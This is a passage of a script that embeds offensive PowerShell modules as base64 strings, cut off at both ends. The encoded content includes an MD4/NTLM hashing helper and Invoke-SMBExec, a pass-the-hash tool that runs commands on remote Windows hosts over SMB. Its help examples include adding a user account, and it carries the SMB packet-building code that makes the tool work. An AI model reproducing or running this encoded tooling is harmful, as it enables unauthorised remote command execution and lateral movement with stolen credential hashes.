dXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRGaW5pc2hIYXNoKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEhhc2gsDQogICAgICAgICAgICAgICAgW091dCwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBBcnJheSldIGJ5dGVbXSBwYklucHV0LA0KICAgICAgICAgICAgICAgIFtJbl0gaW50IGNiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRmxhZ3NdDQogICAgICAgICAgICBwdWJsaWMgZW51bSBBbGdPcHNGbGFncyA6IHVpbnQNCiAgICAgICAgICAgIHsgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIEJDUllQVF9QUk9WX0RJU1BBVENIID0gMHgwMDAwMDAwMSwNCiAgICAgICAgICAgICAgICBCQ1JZUFRfQUxHX0hBTkRMRV9ITUFDX0ZMQUcgPSAweDAwMDAwMDA4LA0KICAgICAgICAgICAgICAgIEJDUllQVF9IQVNIX1JFVVNBQkxFX0ZMQUcgPSAweDAwMDAwMDIwDQogICAgICAgICAgICB9DQogDQogICAgICAgICAgICAvLyBUaGlzIGlzIGEgZ2lnYW50aWMgZW51bSBhbmQgSSBkb24ndCB3YW50IHRvIGNvcHkgYWxsIG9mIGl0IGludG8gdGhpcyBQb3dlcnNoZWxsIHNjcmlwdC4NCiAgICAgICAgICAgIC8vIEJhc2ljYWxseSBhbnl0aGluZyBvdGhlciB0aGFuIHplcm8gbWVhbnMgc29tZXRoaW5nIHdlbnQgd3JvbmcuDQogICAgICAgICAgICBwdWJsaWMgZW51bSBOVFN0YXR1cyA6IHVpbnQNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBTVEFUVVNfU1VDQ0VTUyA9IDB4MDAwMDAwMDANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KJ0ANCn0NCiANCiAgICAgICAgW0J5dGVbXV0kSGFzaEJ5dGVzICAgPSBOZXctT2JqZWN0IEJ5dGVbXSAxNg0KICAgICAgICBbSW50UHRyXSRQSEFsZ29yaXRobSA9IFtJbnRQdHJdOjpaZXJvDQogICAgICAgIFtJbnRQdHJdJFBISGFzaCAgICAgID0gW0ludFB0cl06Olplcm8NCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyKFtSZWZdICRQSEFsZ29yaXRobSwgJ01ENCcsICROdWxsLCAwKQ0KICAgICAgICBJZiAoJE5UU3RhdHVzIC1ORSAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1FcnJvciAiQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyIGZhaWxlZCB3aXRoIE5UU1RBVFVTICROVFN0YXR1cyINCiAgICAgICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIoJFBIQWxnb3JpdGhtLCAwKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgUmV0dXJuDQogICAgICAgIH0NCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q3JlYXRlSGFzaCgkUEhBbGdvcml0aG0sIFtSZWZdICRQSEhhc2gsIFtJbnRQdHJdOjpaZXJvLCAwLCBbSW50UHRyXTo6WmVybywgMCwgMCkNCiAgICAgICAgSWYgKCROVFN0YXR1cyAtTkUgMCkNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtRXJyb3IgIkJDcnlwdENyZWF0ZUhhc2ggZmFpbGVkIHdpdGggTlRTVEFUVVMgJE5UU3RhdHVzIg0KICAgICAgICAgICAgSWYgKCRQSEhhc2ggLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdERlc3Ryb3lIYXNoKCRQSEhhc2gpICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBJZiAoJFBIQWxnb3JpdGhtIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKCRQSEFsZ29yaXRobSwgMCkNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIFJldHVybg0KICAgICAgICB9DQogDQogICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdEhhc2hEYXRhKCRQSEhhc2gsICREYXRhVG9IYXNoLCAkRGF0YVRvSGFzaC5MZW5ndGgsIDApDQogICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdEZpbmlzaEhhc2goJFBISGFzaCwgJEhhc2hCeXRlcywgJEhhc2hCeXRlcy5MZW5ndGgsIDApDQogDQogICAgICAgIElmICgkUEhIYXNoIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgew0KICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RGVzdHJveUhhc2goJFBISGFzaCkNCiAgICAgICAgfQ0KICAgICAgICBJZiAoJFBIQWxnb3JpdGhtIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgew0KICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigkUEhBbGdvcml0aG0sIDApDQogICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAkSGFzaFN0cmluZyA9IE5ldy1PYmplY3QgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlcg0KICAgICAgICBGb3JlYWNoICgkQnl0ZSBJbiAkSGFzaEJ5dGVzKQ0KICAgICAgICB7DQogICAgICAgICAgICBbVm9pZF0kSGFzaFN0cmluZy5BcHBlbmQoJEJ5dGUuVG9TdHJpbmcoIlgyIikpDQogICAgICAgIH0NCiAgICAgICAgUmV0dXJuICRIYXNoU3RyaW5nLlRvU3RyaW5nKCkNCiAgICB9DQp9DQo=" + + # Author: @kevin_robertson + $smbexec = "ZnVuY3Rpb24gSW52b2tlLVNNQkV4ZWMNCnsNCjwjDQouU1lOT1BTSVMNCkludm9rZS1TTUJFeGVjIHBlcmZvcm1zIFNNQkV4ZWMgc3R5bGUgY29tbWFuZCBleGVjdXRpb24gd2l0aCBOVExNdjIgcGFzcyB0aGUgaGFzaCBhdXRoZW50aWNhdGlvbi4gSW52b2tlLVNNQkV4ZWMNCnN1cHBvcnRzIFNNQjEgYW5kIFNNQjIgd2l0aCBhbmQgd2l0aG91dCBTTUIgc2lnbmluZy4NCg0KLlBBUkFNRVRFUiBUYXJnZXQNCkhvc3RuYW1lIG9yIElQIGFkZHJlc3Mgb2YgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIFVzZXJuYW1lDQpVc2VybmFtZSB0byB1c2UgZm9yIGF1dGhlbnRpY2F0aW9uLg0KDQouUEFSQU1FVEVSIERvbWFpbg0KRG9tYWluIHRvIHVzZSBmb3IgYXV0aGVudGljYXRpb24uIFRoaXMgcGFyYW1ldGVyIGlzIG5vdCBuZWVkZWQgd2l0aCBsb2NhbCBhY2NvdW50cyBvciB3aGVuIHVzaW5nIEBkb21haW4gYWZ0ZXIgdGhlDQp1c2VybmFtZS4gDQoNCi5QQVJBTUVURVIgSGFzaA0KTlRMTSBwYXNzd29yZCBoYXNoIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBtb2R1bGUgd2lsbCBhY2NlcHQgZWl0aGVyIExNOk5UTE0gb3IgTlRMTSBmb3JtYXQuDQoNCi5QQVJBTUVURVIgQ29tbWFuZA0KQ29tbWFuZCB0byBleGVjdXRlIG9uIHRoZSB0YXJnZXQuIElmIGEgY29tbWFuZCBpcyBub3Qgc3BlY2lmaWVkLCB0aGUgZnVuY3Rpb24gd2lsbCBjaGVjayB0byBzZWUgaWYgdGhlIHVzZXJuYW1lDQphbmQgaGFzaCBwcm92aWRlcyBsb2NhbCBhZG1pbmlzdHJhdG9yIGFjY2VzcyBvbiB0aGUgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIENvbW1hbmRDT01TUEVDDQpEZWZhdWx0ID0gRW5hYmxlZDogUHJlcGVuZCAlQ09NU1BFQyUgL0MgdG8gQ29tbWFuZC4NCg0KLlBBUkFNRVRFUiBTZXJ2aWNlDQpEZWZhdWx0ID0gMjAgQ2hhcmFjdGVyIFJhbmRvbTogTmFtZSBvZiB0aGUgc2VydmljZSB0byBjcmVhdGUgYW5kIGRlbGV0ZSBvbiB0aGUgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIFNNQjENCihTd2l0Y2gpIEZvcmNlIFNNQjEuIFRoZSBkZWZhdWx0IGJlaGF2aW9yIGlzIHRvIHBlcmZvcm0gU01CIHZlcnNpb24gbmVnb3RpYXRpb24gYW5kIHVzZSBTTUIyIGlmIHN1cHBvcnRlZCBieSB0aGUNCnRhcmdldC4NCg0KLlBBUkFNRVRFUiBTbGVlcA0KRGVmYXVsdCA9IDE1MCBNaWxsaXNlY29uZHM6IFNldHMgdGhlIGZ1bmN0aW9uJ3MgU3RhcnQtU2xlZXAgdmFsdWVzIGluIG1pbGxpc2Vjb25kcy4gWW91IGNhbiB0cnkgdHdlYWtpbmcgdGhpcw0Kc2V0dGluZyBpZiB5b3UgYXJlIGV4cGVyaWVuY2luZyBzdHJhbmdlIHJlc3VsdHMuDQoNCi5FWEFNUExFDQpJbnZva2UtU01CRXhlYyAtVGFyZ2V0IDE5Mi4xNjguMTAwLjIwIC1Eb21haW4gVEVTVERPTUFJTiAtVXNlcm5hbWUgVEVTVCAtSGFzaCBGNkYzOEI3OTNEQjZBOTRCQTA0QTUyRjFEM0VFOTJGMCAtQ29tbWFuZCAiY29tbWFuZCBvciBsYXVuY2hlciB0byBleGVjdXRlIiAtdmVyYm9zZQ0KDQouRVhBTVBMRQ0KSW52b2tlLVNNQkV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtRG9tYWluIFRFU1RET01BSU4gLVVzZXJuYW1lIFRFU1QgLUhhc2ggRjZGMzhCNzkzREI2QTk0QkEwNEE1MkYxRDNFRTkyRjAgLUNvbW1hbmQgIm5ldCB1c2VyIFNNQkV4ZWMgV2ludGVyMjAxNyAvYWRkIg0KDQouRVhBTVBMRQ0KSW52b2tlLVNNQkV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtRG9tYWluIFRFU1RET01BSU4gLVVzZXJuYW1lIFRFU1QgLUhhc2ggRjZGMzhCNzkzREI2QTk0QkEwNEE1MkYxRDNFRTkyRjANCg0KLkxJTksNCmh0dHBzOi8vZ2l0aHViLmNvbS9LZXZpbi1Sb2JlcnRzb24vSW52b2tlLVRoZUhhc2gNCg0KIz4NCltDbWRsZXRCaW5kaW5nKCldDQpwYXJhbQ0KKA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSR0cnVlKV1bU3RyaW5nXSRUYXJnZXQsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtTdHJpbmddJFVzZXJuYW1lLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kRG9tYWluLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kQ29tbWFuZCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtWYWxpZGF0ZVNldCgiWSIsIk4iKV1bU3RyaW5nXSRDb21tYW5kQ09NU1BFQz0iWSIsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bVmFsaWRhdGVTY3JpcHQoeyRfLkxlbmd0aCAtZXEgMzIgLW9yICRfLkxlbmd0aCAtZXEgNjV9KV1bU3RyaW5nXSRIYXNoLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kU2VydmljZSwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtTd2l0Y2hdJFNNQjEsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSRQYXNzd29yZCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtJbnRdJFNsZWVwPTE1MA0KKQ0KDQppZighJFBhc3N3b3JkIC1hbmQgISRIYXNoKXsNCiAgICBleGl0DQp9DQoNCmlmKCRQYXNzd29yZCl7DQogICAgJEhhc2ggPSBHZXQtTUQ0SGFzaCAtRGF0YVRvSGFzaCAkKFtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkUGFzc3dvcmQpKQ0KICAgIFdyaXRlLU91dHB1dCAiSGFzaCBiZWluZyB1c2VkOiAkSGFzaCINCn0NCg0KaWYoJENvbW1hbmQpDQp7DQogICAgJFNNQl9leGVjdXRlID0gJHRydWUNCn0NCg0KaWYoJFNNQjEpDQp7DQogICAgJFNNQl92ZXJzaW9uID0gJ1NNQjEnDQp9DQoNCmZ1bmN0aW9uIENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5DQp7DQogICAgcGFyYW0oJHBhY2tldF9vcmRlcmVkX2RpY3Rpb25hcnkpDQoNCiAgICBGb3JFYWNoKCRmaWVsZCBpbiAkcGFja2V0X29yZGVyZWRfZGljdGlvbmFyeS5WYWx1ZXMpDQogICAgew0KICAgICAgICAkYnl0ZV9hcnJheSArPSAkZmllbGQNCiAgICB9DQoNCiAgICByZXR1cm4gJGJ5dGVfYXJyYXkNCn0NCg0KI05ldEJJT1MNCg0KZnVuY3Rpb24gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X2hlYWRlcl9sZW5ndGgsW0ludF0kcGFja2V0X2RhdGFfbGVuZ3RoKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X25ldGJpb3Nfc2Vzc2lvbl9zZXJ2aWNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9oZWFkZXJfbGVuZ3RoICsgJHBhY2tldF9kYXRhX2xlbmd0aCkNCiAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlX2xlbmd0aCA9ICRwYWNrZXRfbmV0Ymlvc19zZXNzaW9uX3NlcnZpY2VfbGVuZ3RoWzIuLjBdDQoNCiAgICAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZSA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9OZXRCSU9TU2Vzc2lvblNlcnZpY2UuQWRkKCJOZXRCSU9TU2Vzc2lvblNlcnZpY2VfTWVzc2FnZV9UeXBlIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZS5BZGQoIk5ldEJJT1NTZXNzaW9uU2VydmljZV9MZW5ndGgiLFtCeXRlW11dKCRwYWNrZXRfbmV0Ymlvc19zZXNzaW9uX3NlcnZpY2VfbGVuZ3RoKSkNCg0KICAgIHJldHVybiAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZQ0KfQ0KDQojU01CMQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CSGVhZGVyKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZCxbQnl0ZVtdXSRwYWNrZXRfZmxhZ3MsW0J5dGVbXV0kcGFja2V0X2ZsYWdzMixbQnl0ZVtdXSRwYWNrZXRfdHJlZV9JRCxbQnl0ZVtdXSRwYWNrZXRfcHJvY2Vzc19JRCxbQnl0ZVtdXSRwYWNrZXRfdXNlcl9JRCkNCg0KICAgICRwYWNrZXRfU01CSGVhZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9Qcm90b2NvbCIsW0J5dGVbXV0oMHhmZiwweDUzLDB4NGQsMHg0MikpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfQ29tbWFuZCIsJHBhY2tldF9jb21tYW5kKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX0Vycm9yQ2xhc3MiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9FcnJvckNvZGUiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfRmxhZ3MiLCRwYWNrZXRfZmxhZ3MpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfRmxhZ3MyIiwkcGFja2V0X2ZsYWdzMikNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9Qcm9jZXNzSURIaWdoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX1NpZ25hdHVyZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfVHJlZUlEIiwkcGFja2V0X3RyZWVfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfUHJvY2Vzc0lEIiwkcGFja2V0X3Byb2Nlc3NfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfVXNlcklEIiwkcGFja2V0X3VzZXJfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfTXVsdGlwbGV4SUQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJIZWFkZXINCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW1N0cmluZ10kcGFja2V0X3ZlcnNpb24pDQoNCiAgICBpZigkcGFja2V0X3ZlcnNpb24gLWVxICdTTUIxJykNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9ieXRlX2NvdW50ID0gMHgwYywweDAwDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9ieXRlX2NvdW50ID0gMHgyMiwweDAwICANCiAgICB9DQoNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfYnl0ZV9jb3VudCkNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X0J1ZmZlckZvcm1hdCIsW0J5dGVbXV0oMHgwMikpDQogICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9OYW1lIixbQnl0ZVtdXSgweDRlLDB4NTQsMHgyMCwweDRjLDB4NGQsMHgyMCwweDMwLDB4MmUsMHgzMSwweDMyLDB4MDApKQ0KDQogICAgaWYoJHBhY2tldF92ZXJzaW9uIC1uZSAnU01CMScpDQogICAgew0KICAgICAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X0J1ZmZlckZvcm1hdDIiLFtCeXRlW11dKDB4MDIpKQ0KICAgICAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X05hbWUyIixbQnl0ZVtdXSgweDUzLDB4NGQsMHg0MiwweDIwLDB4MzIsMHgyZSwweDMwLDB4MzAsMHgzMiwweDAwKSkNCiAgICAgICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9CdWZmZXJGb3JtYXQzIixbQnl0ZVtdXSgweDAyKSkNCiAgICAgICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9OYW1lMyIsW0J5dGVbXV0oMHg1MywweDRkLDB4NDIsMHgyMCwweDMyLDB4MmUsMHgzZiwweDNmLDB4M2YsMHgwMCkpDQogICAgfQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X3NlY3VyaXR5X2Jsb2IpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfYnl0ZV9jb3VudCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZWN1cml0eV9ibG9iLkxlbmd0aCkNCiAgICAkcGFja2V0X2J5dGVfY291bnQgPSAkcGFja2V0X2J5dGVfY291bnRbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZWN1cml0eV9ibG9iLkxlbmd0aCArIDUpDQogICAgJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9ICRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1dvcmRDb3VudCIsW0J5dGVbXV0oMHgwYykpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X0FuZFhDb21tYW5kIixbQnl0ZVtdXSgweGZmKSkNCiAgICAkcGFja2V0X1NNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0LkFkZCgiU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9BbmRYT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9NYXhCdWZmZXIiLFtCeXRlW11dKDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X01heE1weENvdW50IixbQnl0ZVtdXSgweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9WQ051bWJlciIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAkcGFja2V0X1NNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0LkFkZCgiU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3RfU2Vzc2lvbktleSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1NlY3VyaXR5QmxvYkxlbmd0aCIsJHBhY2tldF9ieXRlX2NvdW50KQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9DYXBhYmlsaXRpZXMiLFtCeXRlW11dKDB4NDQsMHgwMCwweDAwLDB4ODApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1NlY3VyaXR5QmxvYiIsJHBhY2tldF9zZWN1cml0eV9ibG9iKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9OYXRpdmVPUyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9OYXRpdmVMQU5NYW5hZ2UiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCANCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9wYXRoKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X3BhdGhfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3BhdGguTGVuZ3RoICsgNykNCiAgICAkcGFja2V0X3BhdGhfbGVuZ3RoID0gJHBhY2tldF9w